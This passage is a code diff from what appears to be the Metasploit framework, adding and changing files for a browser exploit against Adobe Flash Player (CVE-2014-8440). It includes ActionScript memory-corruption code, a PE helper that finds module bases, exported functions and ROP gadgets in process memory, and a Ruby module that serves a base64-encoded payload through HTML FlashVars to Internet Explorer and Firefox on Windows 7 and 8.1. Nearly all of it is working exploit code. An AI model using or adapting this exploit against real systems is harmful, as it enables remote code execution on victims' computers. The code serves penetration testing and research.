//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 1
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

72
external/source/exploits/CVE-2014-8440/PE.as vendored Executable file
View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -8,7 +8,6 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
@ -44,9 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' },
:os_name => lambda do |os|
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
:flash => lambda { |ver| ver =~ /^15\./ && Gem::Version.new(ver) <= Gem::Version.new('15.0.0.189') },
:arch => ARCH_X86
},
'Targets' =>
@ -79,17 +81,18 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'win'
os_name = target_info[:os_name]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>